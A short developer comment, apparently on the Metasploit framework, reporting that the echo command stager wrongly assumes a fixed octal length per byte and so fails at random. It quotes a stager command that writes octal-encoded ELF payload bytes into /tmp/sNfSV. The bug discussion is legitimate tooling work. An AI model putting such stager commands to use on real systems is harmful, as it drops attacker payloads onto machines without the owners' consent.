This is a bad assumption, the length codification of a byte on the octal outputed by ```Rex::Text.to_octal(@exe, "\\\\")``` isn't always 4. It isn't constant I mean, look at it:

```
[*] echo -en \\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\55\\1\\0\\0\\6\\2\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\331\\350\\331\\164\\44\\364\\135\\273\\323\\333\\137\\1\\51\\311\\261\\60\\61\\135\\31\\203\\355\\374\\3\\135\\25\\61\\56\\65\\3\\355\\34\\112\\206\\315\\353\\115\\270\\15\\243\\123\\167\\15\\365\\23>>/tmp/sNfSV
```

So the stager will fail randomly when the length is not enough to store full payload in just one command, and need to slice it.